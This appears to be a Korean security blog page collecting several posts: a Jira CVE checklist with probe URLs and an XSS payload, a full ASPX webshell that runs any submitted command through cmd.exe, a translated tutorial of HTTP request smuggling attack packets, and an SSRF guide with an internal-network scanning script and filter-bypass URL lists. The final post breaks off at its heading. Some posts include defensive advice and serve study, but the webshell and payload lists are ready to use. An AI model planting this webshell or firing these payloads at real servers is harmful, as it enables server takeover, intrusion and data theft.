Jira 취약점 점검 참고

2022. 9. 15. 17:33

1. CVE-2020-14179 (Information Disclosure)
a. Navigate to <JIRA_URL>/secure/QueryComponent!Default.jspa
b. It leaks information about custom fields, custom SLA, etc.

2. CVE-2020-14181 (User Enumeration)
a. Navigate to <JIRA_URL>/secure/ViewUserHover.jspa?username=<uname>
Harsh Bothra
@harshbothra_
·
3. CVE-2020-14178 (Project Key Enumeration)
a. Navigate to <JIRA_URL>/browse.<project_key>
b. Observe the error message on valid vs. invalid project key. Apart from the Enumeration, you can often get unauthenticated access to the project if the protections are not in place.
·
4. CVE-2019-3402 (XSS)
a. Navigate to <JIRA_URL>/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search

5.  CVE-2019-11581 (SSTI)
a. Navigate to <JIRA_URL>/secure/ContactAdministrators!default.jspa

6. CVE-2019-3396 (Path Traversal)
7. CVE-2019-8451 (SSRF)
a.  Navigate to <JIRA_URL>/plugins/servlet/gadgets/makeRequest?url=https://<host_name>:1337@example.com
8.  CVE-2019-8451 (SSRF)
a. Navigate to <URL>/plugins/servlet/gadgets/makeRequest?url=https://<host>:1337@ea.com
·
9.  CVE-2019-8449 (User Information Disclosure)
a. Navigate to <JIRA_URL>/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true
b. Observe that the user related information will be available.
·
10. CVE-2019-3403 (User Enumeration)
a.  Navigate to <Jira_URL>/rest/api/2/user/picker?query=<user_name_here> 
b.  Observe the difference in response when valid vs. invalid user is queried.
·
11.   CVE-2019-8442 (Sensitive Information Disclosure)
a.  Navigate to <JIRA_URL>/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
b. Observe that the pom.xml file is accessible.

'' 카테고리의 다른 글

.aspx webshell  (0) 2022.06.23
HTTP Request Smuggling (펌)  (0) 2022.06.16
SSRF (펌)  (0) 2022.06.14
HTTP Request Smuggling (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
블로그 이미지

wtdsoul

,

.aspx webshell

2022. 6. 23. 17:42

https://github.com/xl7dev/WebShell/blob/master/Aspx/awen%20asp.net%20webshell.aspx

 

GitHub - xl7dev/WebShell: Webshell && Backdoor Collection

Webshell && Backdoor Collection. Contribute to xl7dev/WebShell development by creating an account on GitHub.

github.com

 

 


<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="System.Diagnostics" %>


<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
void Page_Load(object sender, EventArgs e)
{
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
Response.Write("<pre>");
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
Response.Write("</pre>");
}
</script>
<HTML>
<HEAD>
<title>awen asp.net webshell</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>

'' 카테고리의 다른 글

Jira 취약점 점검 참고  (0) 2022.09.15
HTTP Request Smuggling (펌)  (0) 2022.06.16
SSRF (펌)  (0) 2022.06.14
HTTP Request Smuggling (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
블로그 이미지

wtdsoul

,

HTTP Request Smuggling (펌)

2022. 6. 16. 16:40

 

https://velog.io/@thelm3716/HTTP-request-smuggling

 

HTTP request smuggling 개념 정리 및 실제 공격

HTTP request smuggling의 개념, 종류, 탐색 방법, 공격 방법 등을 정리하고 실습하였습니다.

velog.io

 

 

 

 

vulnerability

목록 보기
1/2
 

PortSwigger의 교육 자료를 번역하며 정리하였습니다 😁
References는 글의 최하단을 참고 부탁드립니다.

📌 01. 개요

HTTP request smuggling 이란?

HTTP 1 .1을 사용하는 Front-end 서버와 Back-end 서버로 이루어진 웹 어플리케이션을 대상으로하여, 변조된 패킷을 일반 사용자가 접근할 수 없는 Back-end 서버로 직접 보내 중요 정보 획득, XSS 공격 유도, 서버 웹 캐시 포이즈닝 등의 공격을 수행할 수 있습니다.

패킷은 Content-Length, Transfer-Encoding: chunked 헤더 등 을 변조하여 Front-end 서버와 Back-end 서버가 패킷의 길이를 다르게 해석케 할 수 있으며, 이를 이용해 하나의 패킷 안에 또 다른 패킷을 포함할 수 있습니다. Back-end 서버에서 이렇게 악의적으로 포함(밀수, smuggling)된 패킷을 해석할 경우에 공격이 수행됩니다.

HTTP 1.1에서 패킷의 길이를 명시하는 헤더에는 Content-Length, Transfer-Encoding: chunked 헤더가 있습니다.

Content-Length

Content-Length는 아래 패킷과 같이 직접적으로 나타냅니다.

POST /blah HTTP/1.1
Host: my-website.co.kr
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

v=smuggling

Tansfer-Encoding: chunked

Transfer-Encoding: chunked 헤더는 데이터를 분할하여 보내게 됩니다.
“/r/n 를 제외한 문자의 길이, 데이터, 다음 라인의 데이터 크기” 가 반복하여 포함됩니다. 0은 패킷의 끝을 나타냅니다.

POST /blah HTTP/1.1
Host: my-website.co.kr
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
v=smuggling
0
  • 요청에서 ‘chunked’ 인코딩을 사용하는 것을 거의 볼 수 없었던 이유는, 브라우저에서는 보통 요청에서 ‘chunked’ 인코딩을 사용하지 않으며 응답에서 주로 사용되기 때문입니다.
  • Burp Suite에서는 Content-Length를 자동으로 계산하여 수정하므로 해당 기능을 꺼야 공격을 수행할 수 있습니다.

📌 02. 기본 공격 방법

CL.TE 취약점

Front-end 서버에서 Content-Length를, Back-end 서버에서 Transfer-Encoding을 이용하여 패킷 길이 계산을 할 경우 아래와 같은 패킷을 Front-end 서버에 전송하여 공격을 수행할 수 있습니다.

POST / HTTP/1.1
Host: vuln-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

Front-end 서버에서 패킷의 SMUGGLED 문자열 끝까지 읽어들여 Back-end 서버로 전송합니다.

Back-end 서버에서는 Transfer-Encoding: chunked 헤더를 이용하여 패킷을 읽어들이며 0을 만났으므로 패킷의 끝으로 인식합니다. SMUGGLED 문자열은 다음 새로운 패킷의 시작으로 받아들입니다.

위 패킷에서 SMUGGLED 대신 G 를 입력하고 Content-Length를 6으로 바꿔 전송할 경우, 아래 그림과 같이 Back-end에서는 G가 패킷의 시작점으로 인식되어 GPOST라는 메소드로 읽히게 되고 에러가 발생합니다.

TE.CL 취약점

Front-end 서버에서 Transfer-Encoding을, Back-end 서버에서 Content-Length를 이용하여 패킷 길이 계산을 할 경우 아래와 같은 패킷을 Front-end 서버에 전송하여 공격을 수행할 수 있습니다.

마지막 0 이후에 ‘/r/n/r/n’을 포함해야 합니다.

POST / HTTP/1.1
Host: vuln-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

 

TE.TE 취약점 (난독화 이용)

Front-end 서버와 Back-end 서버에서 모두 Transfer-Encoding 헤더를 지원하지만 어떤 방식이든 헤더를 난독화하여 서버 중 하나가 헤더를 처리하지 않도록 할 수 있습니다. 하나의 서버가 Transfer-Encoding 헤더를 처리하지 않게 되면 나머지 과정은 ‘CL.TE’, ‘TE.CL’ 취약점과 같습니다.

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked

Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

 

📌 03. 취약점 탐색

03-01. 요청 시간 지연을 이용한 방법

CL.TE 취약점

웹 어플리케이션이 HTTP request smuggling CL.TE 공격에 취약한 경우, 아래 패킷 보내면 종종 응답 시간 지연이 발생합니다.

Front-end 서버는 Content-Length를 이용하기 때문에 A 까지만 받아들여 X를 생략하고 Back-end 서버로 전달합니다. Back-end 서버에서는 A 이후 다음 chunk를 대기하므로 시간 지연이 발생합니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

TE.CL 취약점

TE.CL 공격에 취약한 경우, 아래 패킷 보내면 종종 응답 시간 지연이 발생합니다.

Front-end 서버는 Transfer-Encoding을 이용하기 때문에 0을 만나 패킷의 내용이 끝난 것으로 인식한 후 Back-end 서버로 해당 패킷을 전달합니다.

Back-end 서버에서는 Content_Length를 확인하여 Body가 6 bytes 인 것으로 예상하므로 0 이후의 내용이 전달되길 기다리게 됩니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

요청 시간 지연을 이용한 방법 중 TE.CL 취약점은 웹 어플리케이션이 CL.TE에 취약한 경우, 종종 타 사용자의 서비스 이용을 방해할 수 있으므로 CL.TE 취약점을 먼저 점검하길 권장합니다.

03-02. 다른 응답 값을 이용한 방법

취약점 유발 패킷을 보낸 직후 아래 정상 패킷을 보내는 경우, 예상과는 다른 응답을 받을 수 있는 점을 이용하여 취약점을 확인합니다.

아래 패킷은 일반적인 경우 응답 코드 200을 수신하지만, 서버에 취약점 패킷이 수신 된 직후에 아래 패킷이 들어오면 정상적인 요청에 대한 응답이 방해 받아 공격자가 의도한 페이지의 응답 패킷을 보낼 수 있게 됩니다.

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
  • "공격" 요청과 "정상" 요청은 서로 다른 네트워크 연결을 사용하여 서버로 보내야 합니다. 동일한 연결을 통해 두 요청을 모두 보내는 것은 취약점이 존재한다는 것을 증명하지 않습니다.
  • "공격" 요청과 "일반" 요청은 가능한 한 동일한 URL 및 매개변수 이름을 사용해야 합니다. 이는 많은 최신 애플리케이션이 URL 및 매개변수를 기반으로 Front-end 요청을 다른 Back-end 서버로 라우팅하기 때문입니다. 동일한 URL과 매개변수를 사용하면 공격이 작동하는 데 필수적인 동일한 Back-end 서버에서 요청을 처리할 가능성이 높아집니다.

CL.TE 취약점

취약점 확인을 위해 아래 패킷을 서버로 전송합니다.

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked

e
q=smuggling&x=\r\n
0

GET /404 HTTP/1.1
Foo: x

공격에 성공하면 Back-end 서버에서 마지막 두 줄을 다음 요청에 속하는 패킷으로 인식하여 패킷이 끝나길 대기합니다.

직후에 같은 Host의 임의 페이지 요청이 수신되면 아래와 같은 형태의 패킷이 완성되어 404 에러 페이지를 응답합니다.

GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling

공격 직후 다른 네트워크 상에서 메인 페이지(/) 접속 요청 시 404 에러가 출력 됩니다.

TE.CL 취약점

취약점 확인을 위해 아래 패킷을 서버로 전송합니다.

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0

Front-end 서버에서 chunked 인코딩에 의해 /404 페이지 요청이 Back-end로 전달되고 Content-Length 가 144 이므로 해당 크기 만큼의 데이터가 올 때까지 대기하게 됩니다. 이후 다른 네트워크 상에서 메인 페이지(/) 접속 요청 시 대기 중이던 패킷에 결합되어 404 에러 페이지가 출력 됩니다.

📌 04. HTTP request smuggling 활용

이 글에서는 개요 정도만 다룹니다. 상세 설명은 PortSwigger의 ‘Exploiting HTTP request smuggling vulnerabilities’ 글을 참고바랍니다.

04-01. Front-end 접근 제어 우회

Front-end에서 접근을 제어하며 Front-end와 back-end 사이에는 별도의 접근 제어가 존재하지 않는 경우, 접근 제어를 우회하여 Back-end 서버 페이지에 직접 요청할 수 있습니다.

현재 사용자가 /home에 액세스할 수 있지만 /admin에는 액세스할 수 없다고 가정했을 때, 다음 요청 밀수 공격을 사용하여 이 제한을 우회할 수 있습니다.

POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com

04-02. Front-end에서 재작성 되는 Back-end 요청 패킷 유출

Front-end 서버에서 Back-end 서버로 요청 시 다음과 같은 헤더 등을 추가하는 경우가 있습니다.

  • TLS 연결 종료 및 프로토콜, 암호 관련 헤더
  • 사용자 IP가 포함된 X-Forwarded-For 헤더
  • 세션 토큰을 기반으로 한 사용자 ID 또는 사용자 식별 헤더
  • 기타 중요 정보

Back-end 서버에서 필요한 헤더가 누락된 경우 페이지를 정상적으로 로딩 하지 못할 수 있으므로 아래와 같은 과정을 거쳐 필요한 헤더를 확인할 수 있습니다.

  1. 요청 매개변수의 값이 애플리케이션의 응답 Body에 포함되는 POST 요청을 찾습니다.
  2. 응답 Body에 포함되는 파라미터를 요청 Body의 마지막에 위치 시킨 후 Content-Length를 크게(200 정도) 설정합니다.
  3. 해당 Smuggled 패킷을 연속으로 2회 전송하면 Front-end 서버에서 조작된 패킷의 내용이 파라미터 값으로 입력되어 페이지에 출력 됩니다.

다음과 같은 Smuggling 공격 패킷을 2회 연속 요청할 경우, ‘email’ 파라미터에 패킷의 내용이 입력되어, Front-end 페이지에 패킷의 내용이 출력됩니다.

1회 요청 직후 타 사용자의 패킷이 전송되는 경우, 타 사용자의 요청 패킷이 파라미터에 입력되어 노출될 수도 있습니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /login HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

email=

아래와 같은 Front-end 응답 패킷을 확인할 수 있습니다.

<input id="email" value="POST /login HTTP/1.1
Host: vulnerable-website.com
X-Forwarded-For: 1.3.3.7
X-Forwarded-Proto: https
X-TLS-Bits: 128
X-TLS-Cipher: ECDHE-RSA-AES128-GCM-SHA256
X-TLS-Version: TLSv1.2
x-nr-external-service: external
...

04-03. 클라이언트 인증 우회

TLS Handshake의 일부로 서버는 인증서를 제공하여 클라이언트(브라우저)에 자신을 인증합니다. 이 인증서에는 등록된 호스트 이름과 일치해야 하는 CN(Common Name)이 포함되어 있습니다. 
클라이언트는 이를 사용하여 합법적인 서버와 통신하고 있는지 확인할 수 있습니다.

일부 사이트는 한 단계 더 나아가 클라이언트가 서버에 인증서를 제시해야 하는 상호 TLS 인증 형식을 사용합니다. 
이 경우 클라이언트의 CN은 액세스 제어 메커니즘의 일부로 사용될 수 있으며 백엔드 응용 프로그램에서 사용할 수 있는 사용자 이름 등 이와 유사한 경우가 많습니다.

GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos

‘X-SSL-CLIENT-CN: carlos’ 와 같은 값은 Back-end 서버에 숨겨져 있으므로 쉽게 신뢰하도록 구현되어 있는 경우가 많습니다. 예를 들어 아래과 같은 Smuggling 패킷을 보내여 간단하게 우회할 수 도 있습니다.

POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x

04-04. Reflected XSS 공격과 연계 악용

홈페이지에서 Reflected XSS 취약점이 발견된 경우, 사회공학적 수단을 이용해 URL에 접속하도록 유도하는 것이 아닌, Smuggling 패킷을 보내어 다음 요청 패킷을 전송하는 사용자에게 강제로 Reflected XSS 공격을 수행할 수도 있습니다. 특히, 헤더에서 XSS 공격이 발견된 경우에도 해당 헤더에 페이로드를 삽입하여 Smuggling 패킷을 보내면 다음 요청 사용자에게 XSS 공격이 유효할 수 있습니다.

‘User-Agent’에 XSS 취약점이 존재하는 경우, 아래와 같은 패킷을 보내여 다음 요청을 전송하는 사용자를 공격할 수 있습니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X

04-05. On-site Redirection을 Open Redirection으로 전환 & 웹 캐시 Poisoning

홈페이지 상에서 On-site Redirection 시 아래와 같은 형태로 이루어집니다.

GET /home HTTP/1.1
Host: normal-website.com

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

보통 Host 헤더의 도메인을 Redirection 대상으로 사용하는 경우가 많으므로, 이 점을 Smuggling에 활용합니다. 아래와 같은 패킷을 보내어 다음 요청 사용자를 타 사이트로 Redirection 시킬 수 있습니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Smuggling 요청이 Back-end 서버에서 대기하며 다음 요청이 도착하였을 때, 아래와 같은 형태가 됩니다. 공격자는 ‘https://attacker-website.com/home/ 에서 공격 JavaScript를 반환하여 사용자에게 피해를 입힐 수 있습니다.

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Front-end 서버에서 콘텐츠를 캐시하는 경우, 이러한 공격이 다음 요청 시에도 계속 적용이 되어 공격자의 사이트로 Redirection 하게 됩니다.

04-06. 웹 캐시 Deception

웹 캐시 Poisoning은 캐시된 패킷을 이용해 Redirection 시키거나 악성 행위를 하도록 유도하는 것이지만, 웹 캐시 Deception의 경우, 공격자가 Smuggling 패킷을 보내 다음 요청 패킷을 보내는 사용자가 중요 정보를 요청하도록 하면 중요 정보가 담긴 응답 패킷이 캐시에 저장되며 반환됩니다.
공격자는 캐시에 저장된 중요 정보를 요청하여 훔쳐볼 수 있습니다.

다음과 같은 Smuggling 패킷을 보내어 공격을 수행할 수 있습니다.

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

위 요청은 Back-end 서버로 전달되어 두번째 ‘/message’ 요청이 대기하고 있으며 다음 요청이 오면 아래와 같이 결합됩니다.

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z
...

Back-end 서버에서는 아래와 같은 응답을 반환하며 Front-end 서버에서는 ‘/some-image.png’ 요청에 대한 응답으로 아래 패킷을 캐시하게됩니다. 이후 공격자는 ‘/some-image.png’를 요청하여 캐시된 응답을 반환 받습니다. 캐시된 응답 패킷에는 Smuggling 된 요청의 응답인 ‘/private/messages’의 내용이 담겨있습니다.

GET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 Ok
...
<h1>Your private messages</h1>
...

📌 05 대응 방안

  1. End to end HTTP/2를 사용하고 가능하면 HTTP 다운그레이드를 비활성화합니다. HTTP/2는 요청 길이를 결정하기 위해 강력한 메커니즘을 사용하며 종단 간 사용 시 본질적으로 HTTP Smuggling 으로부터 보호됩니다.
  2. HTTP 다운그레이드를 피할 수 없는 경우 HTTP/1.1 요청의 유효성을 검사해야 합니다. 예를 들어 헤더에 줄 바꿈, 헤더 이름의 콜론, 요청 메서드에 공백이 포함된 요청을 거부합니다.

📌 06 References

[1] What is HTTP request smuggling? Tutorial & Examples | Web Security Academy
[2] Finding HTTP request smuggling vulnerabilities | Web Security Academy
[3] Exploiting HTTP request smuggling vulnerabilities | Web Security Academy

 

'' 카테고리의 다른 글

Jira 취약점 점검 참고  (0) 2022.09.15
.aspx webshell  (0) 2022.06.23
SSRF (펌)  (0) 2022.06.14
HTTP Request Smuggling (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
블로그 이미지

wtdsoul

,

SSRF (펌)

2022. 6. 14. 02:11

화자 되는 경우가 많은 취약점

 

https://guleum-zone.tistory.com/165?category=429860 

 

SSRF(Server Side Request Forgery) 취약점

개요 SSRF는 Server Side Request Forgery의 약자로 유사한 이름을 가진 CSRF(Cross Site Request Forgery) 와는 다르게 클라이언트 측의 요청을 변조시키는 것이 아닌 서버 측 자체의 요청을 변조하여 공격자가..

guleum-zone.tistory.com

개요

SSRF는 Server Side Request Forgery의 약자로 유사한 이름을 가진 CSRF(Cross Site Request Forgery) 와는 다르게 클라이언트 측의 요청을 변조시키는 것이 아닌 서버 측 자체의 요청을 변조하여 공격자가 원하는 형태의 악성 행위를 서버에 던져주면 서버가 검증 없이 그대로 받아 그의 따른 행동/응답을 해주는 공격입니다.

 

일반적으로 매개변수에 HTTP 요청을 통해 적절한 응답을 받을 수 있다면 충분히 시도해볼 만한 공격으로 최근 들어 멀티 클라우드 환경에서 주로 쓰이는 메타 데이터 API는 인프라 내의 구성, 로그, 인증, 다양한 데이터에 로컬에서만 액세스 할 수 있습니다. 만약 SSRF 취약점이 존재할 경우 내부에 숨겨진 네트워크에 있더라도 공격자의 웹에서 요청하는 메타데이터를 조작하여 내부 시스템 정찰과 다양한 자격증명을 호출할 가능성이 존재합니다.

 

자주 발생되는 취약점은 아니지만 파급효과가 큰 취약점입니다. 이러한 이슈가 발생하는 대부분의 이유는 사용자들의 입력값을 제대로 검증하지 않는 문제도 있지만 아무래도 내부 사설로만 이루어져 있고 외부에서 접근이 불가능할 것이라 판단하여 보안에 대해 조금 소홀해지는 것도 문제입니다. 

 

아무리 분리된 내부 네트워크다 하더라도 우리에게 보이는 서비스가 내/외부 시스템과 조금이라도 상호작용을 한다면 이는 반대로 접근을 시도할 수 있다는 얘기입니다.

 

여기서 말하는 상호작용이란 페이지 번역 기능을 호출하여 번역을 하거나, 링크 삽입시 썸네일 이미지 호출, 외부의 데이터를 다운로드 및 저장할 경우, 웹 훅으로 이벤트 발생 시 지정된 URL로 콜백 요청하여 다른 서비스에게 이 사실을 알리는 환경에서 주로 발생합니다.

<Basic Loopback>
http://localhost:80
http://localhost:8080
http://127.0.0.1:80
http://127.0.0.1:8080
http://192.168.0.1:80
http://192.168.0.1:8080
http://192.168.1.1:80
http://192.168.1.1:8080
 

 

Find Back-End System

해당 페이지의 재고 확인 버튼을 누르면 stockApi 변수를 통해 내부 시스템과 상호작용하여 제품의 보유 개수를 확인하여 응답해주는 페이지가 존재합니다.

 

재고를 확인할 수 있는 상대 경로는 제거하고 내부 시스템의 대역이 192.168.0.x:8080에 존재할 것이라는 걸 이용하여 외부에서 노출되지 않는 /admin 페이지가 있는지 요청을 보낼 수 있습니다.

 

Numbers 페이로드를 활용하여 192.168.0.x:8080 "x" 자리에 숫자 1씩 증가시켜 HTTP 응답 코드가 다르게 나온 자릿수를 확인할 수 있습니다. 200 코드를 응답한 것으로 보아 내부 시스템이 192.168.0.153 주소를 가진 것을 알았습니다.

 

Reapter 기능을 사용하여 153 대역에 요청을 날려보면 외부에서 확인되지 않았던 URi 정보를 획득할 수 있습니다. 노출된 URi 정보를 통해 관리자 계정을 삭제할 수 있습니다.

 

for(var i = 0; i <=255; i++) {
	var x = new XMLHttpRequest();
	x.open('POST','https://acf51f0d1ff7e0b981797fca004900d5.web-security-academy.net/product/stock',false);
	x.setRequestHeader('Content-Type','application/x-www-form-urlencoded; charset=UTF-8');
	
	x.send('stockApi=http://192.168.0.' + i.toString() + ':8080/admin');
	console.log(i, x.status);
	
	if(x.status == '200'){
		break;
	}
}

버프 스위트 이외에 간단한 js코드를 활용하여 콘솔에 찍어보실 수도 있습니다. 아무래도 버프 스위트보다 요청/응답 속도가 빠르기 때문에 유용히 쓰일 수 있습니다.

 

지정된 위치에 1씩 값을 증가시켜 if(x.status == '200')를 통해 존재하는 IP Address인 경우 위처럼 표시가 됩니다.

 

 

Blacklist FIlter Bypass

대부분 시스템에서는 자칫 문제가 발생할 수 있는 루프백 주소 "localhost", "127.0.0.1"에 대한 요청을 차단하고 있습니다. 하지만 추가적으로 검증을 하지 않으면 이 또한 우회가 가능합니다.

 

다양한 우회 패턴이 존재하지만 그중에서 주로 사용되는 방법은 IP Obfuscation(난독화)를 통해 블랙리스트의 항목에서 벗어날 수 있습니다.

*난독화 관련 포스팀

guleum-zone.tistory.com/162?category=441533

 

IP Address Obfuscation(난독화)

개요 난독화란 소프트웨어 측면에서 일반적인 사람들이 이해하기 어렵게 또는 역분석(Reverse engineering)을 지연시키기 위해 의도적으로 숨기는 행위입니다. 하지만 반대로 악의적인 사용자들은 "

guleum-zone.tistory.com

<Blacklist Bypass>
http://127.0.1
http://127.1
http://0:8080
http://0.0.0.0:80
http://2130706433 => 127.0.0.1
http://0x7f000001 => 127.0.0.1
http://0177.0000.0000.0001 => 127.0.0.1
http://%3127%2E%30%2E%30%2E%31 => 127.0.0.1
http://3232235521 => 192.168.0.1
http://0xc0a80001 => 192.168.0.1
http://0300.0250.0000.0001 => 192.168.0.1
http://%3192%2E%3168%2E%30%2E%31 => 192.168.0.1
http://3232235777 => 192.168.1.1
http://0xc0a80101 => 192.168.1.1
http://0300.0250.0001.0001 => 192.168.1.1
http://%3192%2E%3168%2E%31%2E%31 => 192.168.1.1

 

Whitelist Filter Bypass

어느 정도 필터링를 수행하고 있는 경우 "Whitelist"방식을 사용하여 지정된 목적지가 아닌 경우 차단하고 있습니다. 사실 이러한 환경을 마주하게 될 경우 벗어나기가 쉽지 않지만 위처럼 허용 도메인 패턴을 알아내면 우회 가능성이 존재합니다.

 

해당 페이지의 경우 허용된 도메인인 "stock.weliketoshop.net"이 파라미터 안에 포함되어 있는지 먼저 검증을 하고 존재할 경우 요청을 받아들이고 실행합니다.

 

만약 지정된 경로에 대해 화이트 리스트 또는 블랙리스트 기반으로 URL 검증을 한다 하더라도 입력된 데이터가 올바른지 철저하게 검증하지 않을 경우 URL Parser의 특징을 이용해 우회가 가능합니다.

<Whitelist Bypass>
https://www.naver.com#www.daum.net
https://www.naver.com@www.daum.net
https://www.naver.com#\@www.daum.net
https://www.naver.com/#///www.daum.net
https://www.naver.com#.#www.daum.net
https://www.naver.com&@www.daum.net
https://www.naver.com:x@www.daum.net
https://www.naver.com%2523@www.daum.net
https://www.naver.com/#/**/www.daum.net
https://www.naver.com#\@www.daum.net
https://www.naver.com/\?url=https://www.daum.net
https://1.1.1.1 &@www.daum.net# @3.3.3.3
https://1.1.1.1%0D0A&@www.daum.net#%0D0A@3.3.3.3

 

Using Open Redirect

대상 애플리케이션에 Open Redirect 관련 취약점이 존재할 경우 해당 페이지가 Back-End 방향으로 API 요청을 사용한다면 해당 변수에 우리가 가고자 하는 내부 경로로 변경하여 응답 값에 따른 추론을 할 수 있습니다.

 

해당 페이지는 StockAPI변수의 값 중에 허용된 주소가 존재하는지 검증하지 않고 있으며 존재하는 상품으로 가는 도메인 경로를 내부 시스템 주소로 요청(192.168.0.1:8080)을 보내본 결과 유독 다른 404번 응답이 확인됩니다.

 

8080/"inject!!" 상세한 경로를 확인하기 위해 직접 값을 입력하거나 사전 대입 공격을 하여 위처럼 응답 소스가 나타난다며 성공적으로 access가 된 것입니다.

 

내부에서만 확인이 가능한 도메인을 역으로 요청하여 직접 요청을 하는 것이 아닌 측면 공격을 통해 원하는 악성 행위가 가능해집니다.


SSRF 를 예방하기 위해

SSRF에 대한 공격 벡터는 굉장히 다양하며 이러한 공격을 막기 위해선 한 가지 측면이 아닌 여러 측면을 생각하여 조치를 취해주셔야 됩니다.

 

첫 번째로 제일 중요한 것은 내부 시스템과 상호 작용하는 변수에 불필요한 값이 입력될 경우 무효처리를 해야 됩니다.

 

두 번째로 변수에 입력된 주소가 올바른 주소가 맞는지 즉 신뢰하는 주소가 맞는지 재검증을 해야 됩니다.

 

세 번째로 여러 우회 공격 기법 중에 대상 사이트에 대한 신뢰할 수 있는 도메인과 루프백 주소를 매칭 하여 지정해둔 도메인을 요청하는 경우가 존재하기 때문에 요청 시 도메인 이름에 대한 검증도 수행해주시는 것이 좋습니다.

 

*Reference

book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery

code-machina.github.io/2019/09/25/Server-Side-Request-Forgery-Prevention.html

'' 카테고리의 다른 글

.aspx webshell  (0) 2022.06.23
HTTP Request Smuggling (펌)  (0) 2022.06.16
HTTP Request Smuggling (펌)  (0) 2022.06.14
DOM 기반 XSS (펌)  (0) 2022.05.11
XSS 버그바운티 (펌)  (0) 2022.05.11
블로그 이미지

wtdsoul

,

HTTP Request Smuggling (펌)

2022. 6. 14. 02:10

https://guleum-zone.tistory.com/170

 

HTTP Request Smuggling(HTTP Desync Attack) 취약점

개요 HTTP Request Smuggling은 Watchfire에 의해 2005년에 처음 등장하여 수면 속에 숨어 있다가 2019년 DEFCON과 BlackHat에서 해당 취약점의 을 이용한 새로운 벡터와 위험도를 검증하면서 인지도가 높아진

guleum-zone.tistory.com

개요

